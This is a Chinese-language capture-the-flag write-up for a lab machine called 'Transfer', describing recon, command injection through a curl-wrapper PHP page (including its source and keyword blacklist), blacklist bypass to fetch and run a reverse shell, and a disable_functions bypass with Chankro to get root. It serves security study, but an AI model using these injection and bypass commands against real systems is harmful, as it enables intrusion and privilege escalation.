# 靶场搭建

下载:Transfer

Nat,IP: 192.168.1.181

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
┌──(root㉿kali)-[~]
└─# curl -sI http://192.168.1.181/ | grep -i 'Set-Cookie' | cut -d= -f 2 | base32 -d
domain=securetransfer.nyxbase32: invalid input

拿到了域名,写入 hosts

扫一下子域,拿到子域: intranet2.securetransfer.nyx

进去看一眼,是一个 curl 的接口,查了一下,可以用 file:// 读取 passwd: curl 'http://intranet2.securetransfer.nyx/index.php' -X POST --data "formurl=-s file:///etc/passwd&submit=Go"

/proc/self/environ 下读到网站目录 /var/www/intranet

读一下 index.php

<?php
    if(isset($_POST['formurl'])){
        echo "<p>Requesting Site...</p>";
        $userurl=$_POST['formurl'];
        $naughtyurl=0;
        $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
        foreach($disallowed as $naughty){
            if(strpos($userurl,$naughty) !==false){
                echo $naughty.' Error, Extension Denied: ';
                $naughtyurl=1;
            }
        }
        if($naughtyurl==0){
            echo shell_exec("curl ".$userurl." 2>&1"); 
        }
    }
?>

看到了黑名单

因为是 curl,所以直接利用 - o 参数实现下载 shell.sh,然后使用 bas\h shell.sh 内联执行,拿到反弹 shell

# 提权

通过 ps -ef 发现了 root 权限运行的 php8888 端口和 /dev/shm 目录

上传 webshell,发现没办法 spawn shell。查了一下说是 disable_functions 了,所以要进行绕够

下载:Chankro,生成反弹 shell: python2 chankro.py --arch 64 --input shell.sh --output shell.php --path .

自己写一下 shell.sh 生成 php 传到 /dev/shm ,然后监听访问 curl http://127.0.0.1:8888/shell.php ,拿到 root 的 shell